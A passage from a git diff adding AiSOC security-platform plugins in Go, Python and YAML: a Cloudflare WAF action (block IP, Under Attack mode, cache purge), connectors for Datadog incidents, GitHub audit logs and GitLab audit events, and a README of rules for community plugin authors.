apiBase = "https://api.cloudflare.com/client/v4"++// CloudflareWAFAction implements aisoc.Action for Cloudflare firewall ops.+type CloudflareWAFAction struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++func (c *CloudflareWAFAction) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "cloudflare-waf",+ Name: "Cloudflare WAF Action",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeAction,+ Description: "Block IPs, toggle Under Attack mode, and purge cache via the Cloudflare API.",+ Author: "AiSOC Core Team",+ Tags: []string{"network", "cloudflare", "waf", "response"},+ }+}++func (c *CloudflareWAFAction) OnLoad(ctx context.Context, pctx aisoc.PluginContext) error {+ c.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++func (c *CloudflareWAFAction) SupportedActions() []string {+ return []string{+ "block_ip",+ "unblock_ip",+ "set_under_attack",+ "purge_cache",+ "list_rules",+ }+}++func (c *CloudflareWAFAction) Execute(+ ctx context.Context,+ req aisoc.ActionRequest,+ pctx aisoc.PluginContext,+) (aisoc.ActionResult, error) {+ token, _ := pctx.Config["api_token"].(string)+ if token == "" {+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Success: false,+ Error: "api_token is required",+ }, errors.New("api_token is required")+ }++ switch req.ActionID {+ case "block_ip":+ accountID, _ := pctx.Config["account_id"].(string)+ if accountID == "" {+ return aisoc.ActionResult{ActionID: req.ActionID, Error: "account_id required"}, nil+ }+ ip, _ := req.Params["ip"].(string)+ body := map[string]any{+ "mode": "block",+ "configuration": map[string]any{+ "target": "ip",+ "value": ip,+ },+ "notes": "blocked by AiSOC",+ }+ buf, _ := json.Marshal(body)+ path := fmt.Sprintf("/accounts/%s/firewall/access_rules/rules", accountID)+ resp, err := c.do(ctx, token, "POST", path, buf)+ if err != nil {+ return aisoc.ActionResult{ActionID: req.ActionID, Error: err.Error()}, err+ }+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Success: true,+ Summary: fmt.Sprintf("Blocked IP %s", ip),+ Details: resp,+ }, nil+ default:+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Error: "unsupported action: " + req.ActionID,+ }, nil+ }+}++func (c *CloudflareWAFAction) do(+ ctx context.Context,+ token, method, path string,+ body []byte,+) (map[string]any, error) {+ req, err := http.NewRequestWithContext(ctx, method, apiBase+path, bytes.NewReader(body))+ if err != nil {+ return nil, err+ }+ req.Header.Set("Authorization", "Bearer "+token)+ req.Header.Set("Content-Type", "application/json")+ resp, err := c.httpClient.Do(req)+ if err != nil {+ return nil, err+ }+ defer resp.Body.Close()+ if resp.StatusCode >= 400 {+ return nil, errors.New("cloudflare api: " + resp.Status)+ }+ var out map[string]any+ if err := json.NewDecoder(resp.Body).Decode(&out); err != nil {+ return nil, err+ }+ return out, nil+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&CloudflareWAFAction{}); err != nil {+ panic(err)+ }+ fmt.Println("cloudflare-waf reference plugin loaded")+}diff --git a/plugins/cloudflare-waf/plugin.py b/plugins/cloudflare-waf/plugin.pynew file mode 100644index 000000000..8c3b173d3--- /dev/null+++ b/plugins/cloudflare-waf/plugin.py@@ -0,0 +1,131 @@+"""Cloudflare WAF action plugin for AiSOC.++Supported actions:+ - block_ip: add IP to account-level access rules (block mode)+ - unblock_ip: remove IP from account-level access rules+ - set_under_attack: toggle Under Attack security level for a zone+ - purge_cache: purge everything for a zone+ - list_rules: list firewall access rules for the configured account++Required config:+ - api_token (Cloudflare API token with appropriate scopes)+ - account_id (required for IP block actions)+ - zone_id (default zone for zone-scoped actions)++Payload shape:+ {+ "action": "block_ip" | "unblock_ip" | "set_under_attack"+ | "purge_cache" | "list_rules",+ "ip": "1.2.3.4",+ "zone_id": "...", # overrides config.zone_id+ "level": "under_attack" # for set_under_attack+ }+"""+from __future__ import annotations++from typing import Any++try:+ import httpx++ _HTTPX = True+except ImportError:+ _HTTPX = False+++_API_BASE = "https://api.cloudflare.com/client/v4"+++class Plugin:+ """Cloudflare WAF action plugin."""++ def _client(self, context: dict[str, Any]) -> "httpx.AsyncClient":+ config = context.get("config") or {}+ if "api_token" not in config:+ raise ValueError("api_token is required in plugin config")+ return httpx.AsyncClient(+ base_url=_API_BASE,+ headers={+ "Authorization": f"Bearer {config['api_token']}",+ "Content-Type": "application/json",+ },+ timeout=30,+ )++ async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:+ if not _HTTPX:+ return {"error": "httpx not installed; run `pip install httpx`"}++ config = context.get("config") or {}+ action = payload.get("action", "list_rules")+ zone_id = payload.get("zone_id") or config.get("zone_id", "")+ account_id = config.get("account_id", "")++ async with self._client(context) as client:+ if action == "block_ip":+ if not account_id:+ return {"error": "account_id is required for block_ip"}+ resp = await client.post(+ f"/accounts/{account_id}/firewall/access_rules/rules",+ json={+ "mode": "block",+ "configuration": {+ "target": "ip",+ "value": payload.get("ip", ""),+ },+ "notes": payload.get("note", "blocked by AiSOC"),+ },+ )+ resp.raise_for_status()+ return {"action": action, "result": resp.json()}+ if action == "unblock_ip":+ if not account_id:+ return {"error": "account_id is required for unblock_ip"}+ listing = await client.get(+ f"/accounts/{account_id}/firewall/access_rules/rules",+ params={+ "configuration.target": "ip",+ "configuration.value": payload.get("ip", ""),+ },+ )+ listing.raise_for_status()+ rule_id = next(+ (r["id"] for r in listing.json().get("result", [])),+ None,+ )+ if not rule_id:+ return {"action": action, "ip": payload.get("ip"), "removed": False}+ resp = await client.delete(+ f"/accounts/{account_id}/firewall/access_rules/rules/{rule_id}"+ )+ resp.raise_for_status()+ return {"action": action, "ip": payload.get("ip"), "removed": True}+ if action == "set_under_attack":+ if not zone_id:+ return {"error": "zone_id is required for set_under_attack"}+ level = payload.get("level", "under_attack")+ resp = await client.patch(+ f"/zones/{zone_id}/settings/security_level",+ json={"value": level},+ )+ resp.raise_for_status()+ return {"action": action, "zone_id": zone_id, "level": level}+ if action == "purge_cache":+ if not zone_id:+ return {"error": "zone_id is required for purge_cache"}+ resp = await client.post(+ f"/zones/{zone_id}/purge_cache",+ json={"purge_everything": True},+ )+ resp.raise_for_status()+ return {"action": action, "zone_id": zone_id, "purged": True}+ if action == "list_rules":+ if not account_id:+ return {"error": "account_id is required for list_rules"}+ resp = await client.get(+ f"/accounts/{account_id}/firewall/access_rules/rules",+ params={"per_page": 100},+ )+ resp.raise_for_status()+ return {"action": action, "rules": resp.json().get("result", [])}+ return {"error": f"Unknown action: {action}"}diff --git a/plugins/cloudflare-waf/plugin.yaml b/plugins/cloudflare-waf/plugin.yamlnew file mode 100644index 000000000..54d24d885--- /dev/null+++ b/plugins/cloudflare-waf/plugin.yaml@@ -0,0 +1,28 @@+id: cloudflare-waf+name: Cloudflare WAF Action+version: "1.0.0"+plugin_type: action+description: >+ Cloudflare WAF action plugin. Blocks IPs at the zone or account level,+ toggles "Under Attack" mode, manages firewall rules, and purges cache via+ the Cloudflare API. Useful as an inline response step in DDoS, credential+ stuffing, and bot-attack playbooks.+author: AiSOC Core Team+tags: [network, cloudflare, waf, response, ddos]+homepage: https://github.com/beenuar/aisoc/tree/main/plugins/cloudflare-waf+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [api_token]+ properties:+ api_token:+ type: string+ description: "Cloudflare API token with Zone:Edit + Account:Edit"+ secret: true+ account_id:+ type: string+ description: "Cloudflare account ID (required for account-scoped block lists)"+ zone_id:+ type: string+ description: "Default zone ID for zone-scoped actions"diff --git a/plugins/community/README.md b/plugins/community/README.mdnew file mode 100644index 000000000..8fcc4450a--- /dev/null+++ b/plugins/community/README.md@@ -0,0 +1,66 @@+# Community Plugins++This directory holds plugins contributed by the AiSOC community.++Each plugin is a self-contained directory with `plugin.yaml` + at least one+SDK implementation (`plugin.py` and/or `go/main.go`). They are auto-indexed by+[`scripts/build_marketplace.py`](../../scripts/build_marketplace.py) on the+next `pnpm marketplace:build` and shown in the in-app marketplace with a+**Community** badge.++## Plugin layout++```+plugins/community/<your-plugin-id>/+├── plugin.yaml # required: manifest+├── plugin.py # Python SDK reference impl (recommended)+├── README.md # what it does, how to configure it+└── go/ # optional: Go SDK reference impl+ └── main.go+```++The plugin ID is the directory name and **must match `plugin.yaml`'s `id`+field**. Convention for community plugins: `community-<github-handle>-<short-name>`.++## Authoring rules++- Implement the right SDK interface for the plugin type:+ - **Connector** → ingests events from a third-party source. Implements+ `aisoc.Connector` (Go) or `aisoc_plugin_sdk.Connector` (Python).+ - **Enricher** → augments alerts/cases with extra context. Implements+ `aisoc.Enricher` / `aisoc_plugin_sdk.Enricher`.+ - **Action** → performs an external action (page, message, contain, …).+ Implements `aisoc.Action` / `aisoc_plugin_sdk.Action`.+ - **Widget** → renders a dashboard tile. Implements `aisoc.Widget`+ / `aisoc_plugin_sdk.Widget`.+- Required `plugin.yaml` fields: `id`, `name`, `version`, `author`,+ `description`, `plugin_type`, `license`, `min_aisoc_version`, `homepage`.+- Cross-language parity is encouraged but not required. If you ship Python+ only or Go only, the marketplace will display the available SDKs as+ badges (Py / Go).+- Make all network I/O go through the SDK's HTTP helpers — they handle+ retries, rate limits, and per-tenant TLS — never use bare `requests` or+ `net/http` calls.+- Treat secrets as `config.secrets.*`. Never log them. Never inline them in+ manifests.++## Validation++```bash+# Python check+python3 -c "import yaml; yaml.safe_load(open('plugins/community/<id>/plugin.yaml'))"++# Go build (if you ship a Go impl)+cd plugins/community/<id>/go && go build ./...++# Marketplace index+pnpm marketplace:build+pnpm marketplace:check+```++## Promotion path++Community plugins start with `verified: false` and `source: "community"`.+Once a plugin has been hardened (tests, two-SDK parity, real-world use)+maintainers can promote it to the top-level `plugins/<id>/` folder and mark+it verified.diff --git a/plugins/datadog-incidents/go/main.go b/plugins/datadog-incidents/go/main.gonew file mode 100644index 000000000..327592186--- /dev/null+++ b/plugins/datadog-incidents/go/main.go@@ -0,0 +1,172 @@+// Package main is the Datadog incidents connector reference implementation in Go.+package main++import (+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "io"+ "net/http"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++// DatadogConnector implements aisoc.Connector for the Datadog Incidents/Signals APIs.+type DatadogConnector struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++func (d *DatadogConnector) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "datadog-incidents",+ Name: "Datadog Incidents Connector",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeConnector,+ Description: "Pulls open Datadog incidents and security signals into AiSOC.",+ Author: "AiSOC Core Team",+ Tags: []string{"observability", "datadog", "incidents", "signals", "connector"},+ }+}++func (d *DatadogConnector) OnLoad(ctx context.Context, pctx aisoc.PluginContext) error {+ d.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++func (d *DatadogConnector) baseURL(pctx aisoc.PluginContext) string {+ site, _ := pctx.Config["site"].(string)+ if site == "" {+ site = "datadoghq.com"+ }+ return "https://api." + site+}++func (d *DatadogConnector) headers(pctx aisoc.PluginContext) (http.Header, error) {+ apiKey, _ := pctx.Config["api_key"].(string)+ appKey, _ := pctx.Config["app_key"].(string)+ if apiKey == "" || appKey == "" {+ return nil, errors.New("api_key and app_key are required")+ }+ h := http.Header{}+ h.Set("DD-API-KEY", apiKey)+ h.Set("DD-APPLICATION-KEY", appKey)+ h.Set("Content-Type", "application/json")+ return h, nil+}++func (d *DatadogConnector) get(+ ctx context.Context,+ url string,+ headers http.Header,+) ([]byte, error) {+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)+ if err != nil {+ return nil, err+ }+ req.Header = headers+ resp, err := d.httpClient.Do(req)+ if err != nil {+ return nil, err+ }+ defer resp.Body.Close()+ body, _ := io.ReadAll(resp.Body)+ if resp.StatusCode >= 400 {+ return body, fmt.Errorf("datadog: %s", resp.Status)+ }+ return body, nil+}++func (d *DatadogConnector) TestConnection(+ ctx context.Context,+ pctx aisoc.PluginContext,+) (bool, error) {+ headers, err := d.headers(pctx)+ if err != nil {+ return false, err+ }+ body, err := d.get(ctx, d.baseURL(pctx)+"/api/v1/validate", headers)+ if err != nil {+ return false, err+ }+ var parsed map[string]any+ _ = json.Unmarshal(body, &parsed)+ if v, ok := parsed["valid"].(bool); ok {+ return v, nil+ }+ return false, nil+}++func (d *DatadogConnector) FetchEvents(+ ctx context.Context,+ pctx aisoc.PluginContext,+ since string,+) (<-chan map[string]any, error) {+ out := make(chan map[string]any)+ headers, err := d.headers(pctx)+ if err != nil {+ close(out)+ return out, err+ }++ feeds := []string{"incidents", "security_signals"}+ if cfgFeeds, ok := pctx.Config["feeds"].([]any); ok && len(cfgFeeds) > 0 {+ feeds = feeds[:0]+ for _, f := range cfgFeeds {+ if s, ok := f.(string); ok {+ feeds = append(feeds, s)+ }+ }+ }++ if since == "" {+ since = time.Now().Add(-1 * time.Hour).UTC().Format(time.RFC3339)+ }++ go func() {+ defer close(out)+ base := d.baseURL(pctx)++ for _, feed := range feeds {+ var url string+ switch feed {+ case "incidents":+ url = base + "/api/v2/incidents"+ case "security_signals":+ url = fmt.Sprintf(+ "%s/api/v2/security_monitoring/signals?filter[from]=%s&page[limit]=100",+ base, since,+ )+ default:+ continue+ }+ body, err := d.get(ctx, url, headers)+ if err != nil {+ out <- map[string]any{"error": err.Error(), "feed": feed}+ continue+ }+ var parsed struct {+ Data []map[string]any `json:"data"`+ }+ if err := json.Unmarshal(body, &parsed); err != nil {+ continue+ }+ for _, item := range parsed.Data {+ item["_aisoc_feed"] = feed+ out <- item+ }+ }+ }()+ return out, nil+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&DatadogConnector{}); err != nil {+ panic(err)+ }+ fmt.Println("datadog-incidents reference plugin loaded")+}diff --git a/plugins/datadog-incidents/plugin.py b/plugins/datadog-incidents/plugin.pynew file mode 100644index 000000000..c9d8f1679--- /dev/null+++ b/plugins/datadog-incidents/plugin.py@@ -0,0 +1,100 @@+"""Datadog incidents/signals connector plugin for AiSOC."""+from __future__ import annotations++from datetime import datetime, timedelta, timezone+from typing import Any++import httpx+++class Plugin:+ """Datadog connector for incidents + security signals."""++ def _base_url(self, context: dict[str, Any]) -> str:+ site = (context.get("config") or {}).get("site") or "datadoghq.com"+ return f"https://api.{site}"++ def _headers(self, context: dict[str, Any]) -> dict[str, str]:+ config = context.get("config") or {}+ if not config.get("api_key") or not config.get("app_key"):+ raise ValueError("api_key and app_key are required")+ return {+ "DD-API-KEY": config["api_key"],+ "DD-APPLICATION-KEY": config["app_key"],+ "Content-Type": "application/json",+ }++ async def _get(self, url: str, headers: dict[str, str], params: dict | None = None):+ async with httpx.AsyncClient(timeout=30.0) as client:+ resp = await client.get(url, headers=headers, params=params)+ resp.raise_for_status()+ return resp.json()++ async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:+ action = payload.get("action", "fetch_events")+ try:+ headers = self._headers(context)+ except ValueError as exc:+ return {"error": str(exc)}++ base = self._base_url(context)++ try:+ if action == "test_connection":+ data = await self._get(f"{base}/api/v1/validate", headers)+ return {"connected": bool(data.get("valid")), "raw": data}++ if action == "list_incidents":+ params = {"page[size]": payload.get("limit", 50)}+ data = await self._get(+ f"{base}/api/v2/incidents", headers, params=params+ )+ return {"incidents": data.get("data", [])}++ if action == "list_signals":+ since = payload.get("since") or (+ datetime.now(timezone.utc) - timedelta(hours=1)+ ).isoformat()+ params = {+ "filter[from]": since,+ "page[limit]": payload.get("limit", 50),+ }+ data = await self._get(+ f"{base}/api/v2/security_monitoring/signals",+ headers,+ params=params,+ )+ return {"signals": data.get("data", [])}++ if action == "fetch_events":+ feeds = (context.get("config") or {}).get(+ "feeds", ["incidents", "security_signals"]+ )+ events: list[dict[str, Any]] = []+ if "incidents" in feeds:+ inc = await self._get(f"{base}/api/v2/incidents", headers)+ for item in inc.get("data", []):+ item["_aisoc_feed"] = "incidents"+ events.append(item)+ if "security_signals" in feeds:+ since = payload.get("since") or (+ datetime.now(timezone.utc) - timedelta(hours=1)+ ).isoformat()+ sigs = await self._get(+ f"{base}/api/v2/security_monitoring/signals",+ headers,+ params={"filter[from]": since, "page[limit]": 100},+ )+ for item in sigs.get("data", []):+ item["_aisoc_feed"] = "security_signals"+ events.append(item)+ return {"events": events}++ return {"error": f"Unknown action: {action}"}+ except httpx.HTTPStatusError as exc:+ return {+ "error": f"datadog api error: {exc.response.status_code}",+ "body": exc.response.text[:512],+ }+ except httpx.HTTPError as exc:+ return {"error": f"datadog request failed: {exc}"}diff --git a/plugins/datadog-incidents/plugin.yaml b/plugins/datadog-incidents/plugin.yamlnew file mode 100644index 000000000..a2c8d4bcf--- /dev/null+++ b/plugins/datadog-incidents/plugin.yaml@@ -0,0 +1,39 @@+id: datadog-incidents+name: Datadog Incidents Connector+version: "1.0.0"+plugin_type: connector+description: >+ Pulls open Datadog incidents and security signals into AiSOC for unified+ triage. Supports both the Incidents API and the Security Monitoring signals+ API so AiSOC can mirror infra alerts and security findings side-by-side.+author: AiSOC Core Team+tags: [observability, datadog, incidents, signals, connector]+homepage: https://github.com/beenuar/aisoc/tree/main/plugins/datadog-incidents+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [api_key, app_key]+ properties:+ api_key:+ type: string+ description: "Datadog API key"+ secret: true+ app_key:+ type: string+ description: "Datadog application key with read access"+ secret: true+ site:+ type: string+ default: datadoghq.com+ description: "Datadog site (datadoghq.com, datadoghq.eu, us3.datadoghq.com, etc.)"+ feeds:+ type: array+ items:+ type: string+ enum: [incidents, security_signals]+ default: [incidents, security_signals]+ poll_interval_seconds:+ type: integer+ default: 60+ minimum: 30diff --git a/plugins/github-audit/go/main.go b/plugins/github-audit/go/main.gonew file mode 100644index 000000000..687af4413--- /dev/null+++ b/plugins/github-audit/go/main.go@@ -0,0 +1,134 @@+// Package main is the GitHub Audit Log connector reference implementation in Go.+//+// This file mirrors the Python plugin.py and demonstrates cross-language SDK+// parity. The AiSOC runtime currently invokes plugin.py at execution time;+// this Go reference is intended for operators who prefer to ship native+// binary plugins.+package main++import (+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "net/http"+ "strings"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++// GitHubAuditConnector implements aisoc.Connector against the GitHub Audit Log API.+type GitHubAuditConnector struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++func (g *GitHubAuditConnector) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "github-audit",+ Name: "GitHub Audit Log Connector",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeConnector,+ Description: "Pulls GitHub org audit log events and secret-scanning alerts.",+ Author: "AiSOC Core Team",+ Tags: []string{"vcs", "github", "audit", "supply-chain"},+ }+}++func (g *GitHubAuditConnector) OnLoad(ctx context.Context, pctx aisoc.PluginContext) error {+ g.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++func (g *GitHubAuditConnector) TestConnection(ctx context.Context, pctx aisoc.PluginContext) (bool, error) {+ if err := g.checkConfig(pctx); err != nil {+ return false, err+ }+ req, err := g.newRequest(ctx, pctx, "GET", fmt.Sprintf("/orgs/%s", pctx.Config["org"]))+ if err != nil {+ return false, err+ }+ resp, err := g.httpClient.Do(req)+ if err != nil {+ return false, err+ }+ defer resp.Body.Close()+ if resp.StatusCode >= 400 {+ return false, errors.New("github auth: " + resp.Status)+ }+ return true, nil+}++func (g *GitHubAuditConnector) FetchEvents(+ ctx context.Context,+ pctx aisoc.PluginContext,+ since string,+) (<-chan map[string]any, error) {+ out := make(chan map[string]any)+ go func() {+ defer close(out)+ if err := g.checkConfig(pctx); err != nil {+ out <- map[string]any{"error": err.Error()}+ return+ }+ path := fmt.Sprintf("/orgs/%s/audit-log?per_page=100", pctx.Config["org"])+ if since != "" {+ path += "&after=" + since+ }+ req, err := g.newRequest(ctx, pctx, "GET", path)+ if err != nil {+ out <- map[string]any{"error": err.Error()}+ return+ }+ resp, err := g.httpClient.Do(req)+ if err != nil {+ out <- map[string]any{"error": err.Error()}+ return+ }+ defer resp.Body.Close()+ var events []map[string]any+ _ = json.NewDecoder(resp.Body).Decode(&events)+ for _, e := range events {+ out <- e+ }+ }()+ return out, nil+}++func (g *GitHubAuditConnector) checkConfig(pctx aisoc.PluginContext) error {+ for _, k := range []string{"org", "token"} {+ if pctx.Config[k] == nil {+ return fmt.Errorf("missing config key: %s", k)+ }+ }+ return nil+}++func (g *GitHubAuditConnector) newRequest(+ ctx context.Context,+ pctx aisoc.PluginContext,+ method, path string,+) (*http.Request, error) {+ base := "https://api.github.com"+ if v, ok := pctx.Config["base_url"].(string); ok && v != "" {+ base = strings.TrimRight(v, "/")+ }+ req, err := http.NewRequestWithContext(ctx, method, base+path, nil)+ if err != nil {+ return nil, err+ }+ req.Header.Set("Authorization", "Bearer "+pctx.Config["token"].(string))+ req.Header.Set("Accept", "application/vnd.github+json")+ req.Header.Set("X-GitHub-Api-Version", "2022-11-28")+ return req, nil+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&GitHubAuditConnector{}); err != nil {+ panic(err)+ }+ fmt.Println("github-audit reference plugin loaded")+}diff --git a/plugins/github-audit/plugin.py b/plugins/github-audit/plugin.pynew file mode 100644index 000000000..7895d3085--- /dev/null+++ b/plugins/github-audit/plugin.py@@ -0,0 +1,82 @@+"""GitHub Audit Log connector for AiSOC.++Pulls org audit log events, secret-scanning alerts, and user activity from+the GitHub REST API for use in identity / supply-chain investigations.++Required config (passed in via context["config"]):+ - org: GitHub organization slug+ - token: PAT or fine-grained token with read:audit_log scope+ - base_url: optional GHES base URL (defaults to https://api.github.com)++Payload shape:+ {+ "action": "fetch_audit" | "list_secret_alerts" | "get_user_events"+ | "list_members",+ "since": "YYYY-MM-DDTHH:MM:SSZ", # optional cursor for fetch_audit+ "username": "octocat", # required for get_user_events+ "phrase": "action:org.invite" # optional GitHub audit log search phrase+ }+"""+from __future__ import annotations++from typing import Any++try:+ import httpx++ _HTTPX = True+except ImportError:+ _HTTPX = False+++class Plugin:+ """GitHub Audit Log connector plugin."""++ def _client(self, context: dict[str, Any]) -> "httpx.AsyncClient":+ config = context.get("config") or {}+ if "org" not in config or "token" not in config:+ raise ValueError("org and token are required in plugin config")+ base_url = (config.get("base_url") or "https://api.github.com").rstrip("/")+ headers = {+ "Authorization": f"Bearer {config['token']}",+ "Accept": "application/vnd.github+json",+ "X-GitHub-Api-Version": "2022-11-28",+ }+ return httpx.AsyncClient(base_url=base_url, headers=headers, timeout=30)++ async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:+ if not _HTTPX:+ return {"error": "httpx not installed; run `pip install httpx`"}++ action = payload.get("action", "fetch_audit")+ config = context.get("config") or {}+ org = config.get("org", "")++ async with self._client(context) as client:+ if action == "fetch_audit":+ params: dict[str, Any] = {"per_page": 100}+ if phrase := payload.get("phrase"):+ params["phrase"] = phrase+ if since := payload.get("since"):+ params["after"] = since+ resp = await client.get(f"/orgs/{org}/audit-log", params=params)+ resp.raise_for_status()+ return {"action": action, "events": resp.json()}+ if action == "list_secret_alerts":+ resp = await client.get(+ f"/orgs/{org}/secret-scanning/alerts", params={"per_page": 100}+ )+ resp.raise_for_status()+ return {"action": action, "alerts": resp.json()}+ if action == "get_user_events":+ username = payload.get("username", "")+ resp = await client.get(+ f"/users/{username}/events/orgs/{org}", params={"per_page": 100}+ )+ resp.raise_for_status()+ return {"action": action, "username": username, "events": resp.json()}+ if action == "list_members":+ resp = await client.get(f"/orgs/{org}/members", params={"per_page": 100})+ resp.raise_for_status()+ return {"action": action, "members": resp.json()}+ return {"error": f"Unknown action: {action}"}diff --git a/plugins/github-audit/plugin.yaml b/plugins/github-audit/plugin.yamlnew file mode 100644index 000000000..5c9a4fec2--- /dev/null+++ b/plugins/github-audit/plugin.yaml@@ -0,0 +1,28 @@+id: github-audit+name: GitHub Audit Log Connector+version: "1.0.0"+plugin_type: connector+description: >+ GitHub Enterprise / Organization audit log connector. Streams org audit+ events, lists secret-scanning alerts, and pulls user activity for security+ investigations. Backed by the GitHub Audit Log API.+author: AiSOC Core Team+tags: [vcs, github, audit, identity, supply-chain]+homepage: https://github.com/beenuar/aisoc/tree/main/plugins/github-audit+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [org, token]+ properties:+ org:+ type: string+ description: "GitHub organization slug, e.g. acme-corp"+ token:+ type: string+ description: "GitHub PAT or fine-grained token with read:audit_log scope"+ secret: true+ base_url:+ type: string+ description: "GitHub API base URL (override for GHES)"+ default: "https://api.github.com"diff --git a/plugins/gitlab-audit/go/main.go b/plugins/gitlab-audit/go/main.gonew file mode 100644index 000000000..428822e28--- /dev/null+++ b/plugins/gitlab-audit/go/main.go@@ -0,0 +1,159 @@+// Package main is the GitLab audit connector reference implementation in Go.+package main++import (+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "io"+ "net/http"+ "net/url"+ "strings"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++// GitLabConnector implements aisoc.Connector for the GitLab audit events API.+type GitLabConnector struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++func (g *GitLabConnector) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "gitlab-audit",+ Name: "GitLab Audit Connector",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeConnector,+ Description: "Pulls audit events from GitLab at instance, group, or project scope.",+ Author: "AiSOC Core Team",+ Tags: []string{"identity", "gitlab", "audit", "devsecops", "connector"},+ }+}++func (g *GitLabConnector) OnLoad(ctx context.Context, pctx aisoc.PluginContext) error {+ g.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++func (g *GitLabConnector) baseURL(pctx aisoc.PluginContext) string {+ base, _ := pctx.Config["base_url"].(string)+ if base == "" {+ base = "https://gitlab.com"+ }+ return strings.TrimRight(base, "/")+}++func (g *GitLabConnector) auditPath(pctx aisoc.PluginContext) (string, error) {+ scope, _ := pctx.Config["scope"].(string)+ scopeID, _ := pctx.Config["scope_id"].(string)+ switch scope {+ case "group":+ if scopeID == "" {+ return "", errors.New("scope_id required for group scope")+ }+ return "/api/v4/groups/" + scopeID + "/audit_events", nil+ case "project":+ if scopeID == "" {+ return "", errors.New("scope_id required for project scope")+ }+ return "/api/v4/projects/" + scopeID + "/audit_events", nil+ default:+ return "/api/v4/audit_events", nil+ }+}++func (g *GitLabConnector) get(+ ctx context.Context,+ pctx aisoc.PluginContext,+ path string,+ params url.Values,+) ([]byte, error) {+ token, _ := pctx.Config["token"].(string)+ if token == "" {+ return nil, errors.New("token is required")+ }+ full := g.baseURL(pctx) + path+ if len(params) > 0 {+ full += "?" + params.Encode()+ }+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, full, nil)+ if err != nil {+ return nil, err+ }+ req.Header.Set("PRIVATE-TOKEN", token)+ req.Header.Set("Accept", "application/json")+ resp, err := g.httpClient.Do(req)+ if err != nil {+ return nil, err+ }+ defer resp.Body.Close()+ body, _ := io.ReadAll(resp.Body)+ if resp.StatusCode >= 400 {+ return body, errors.New("gitlab: " + resp.Status)+ }+ return body, nil+}++func (g *GitLabConnector) TestConnection(+ ctx context.Context,+ pctx aisoc.PluginContext,+) (bool, error) {+ path, err := g.auditPath(pctx)+ if err != nil {+ return false, err+ }+ if _, err := g.get(ctx, pctx, path, url.Values{"per_page": []string{"1"}}); err != nil {+ return false, err+ }+ return true, nil+}++func (g *GitLabConnector) FetchEvents(+ ctx context.Context,+ pctx aisoc.PluginContext,+ since string,+) (<-chan map[string]any, error) {+ out := make(chan map[string]any)+ path, err := g.auditPath(pctx)+ if err != nil {+ close(out)+ return out, err+ }+ if since == "" {+ since = time.Now().Add(-15 * time.Minute).UTC().Format(time.RFC3339)+ }+ go func() {+ defer close(out)+ params := url.Values{+ "created_after": []string{since},+ "per_page": []string{"100"},+ }+ body, err := g.get(ctx, pctx, path, params)+ if err != nil {+ out <- map[string]any{"error": err.Error()}+ return+ }+ var events []map[string]any+ if err := json.Unmarshal(body, &events); err != nil {+ out <- map[string]any{"error": err.Error()}+ return+ }+ for _, ev := range events {+ ev["_aisoc_source"] = "gitlab-audit"+ out <- ev+ }+ }()+ return out, nil+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&GitLabConnector{}); err != nil {+ panic(err)+ }+ fmt.Println("gitlab-audit reference plugin loaded")+}diff --git a/plugins/gitlab-audit/plugin.py b/plugins/gitlab-audit/plugin.pynew file mode 100644index 000000000..5633a7e43--- /dev/null+++ b/plugins/gitlab-audit/plugin.py@@ -0,0 +1,86 @@+"""GitLab audit connector plugin for AiSOC."""+from __future__ import annotations++from datetime import datetime, timedelta, timezone+from typing import Any++import httpx+++class Plugin:+ """GitLab audit events connector."""++ def _base(self, context: dict[str, Any]) -> str:+ config = context.get("config") or {}+ return (config.get("base_url") or "https://gitlab.com").rstrip("/")++ def _headers(self, context: dict[str, Any]) -> dict[str, str]:+ config = context.get("config") or {}+ if not config.get("token"):+ raise ValueError("token is required")+ return {+ "PRIVATE-TOKEN": config["token"],+ "Accept": "application/json",+ }++ def _path(self, context: dict[str, Any]) -> str:+ config = context.get("config") or {}+ scope = config.get("scope") or "instance"+ scope_id = config.get("scope_id")+ if scope == "group":+ if not scope_id:+ raise ValueError("scope_id required for group scope")+ return f"/api/v4/groups/{scope_id}/audit_events"+ if scope == "project":+ if not scope_id:+ raise ValueError("scope_id required for project scope")+ return f"/api/v4/projects/{scope_id}/audit_events"+ return "/api/v4/audit_events"++ async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:+ try:+ headers = self._headers(context)+ path = self._path(context)+ except ValueError 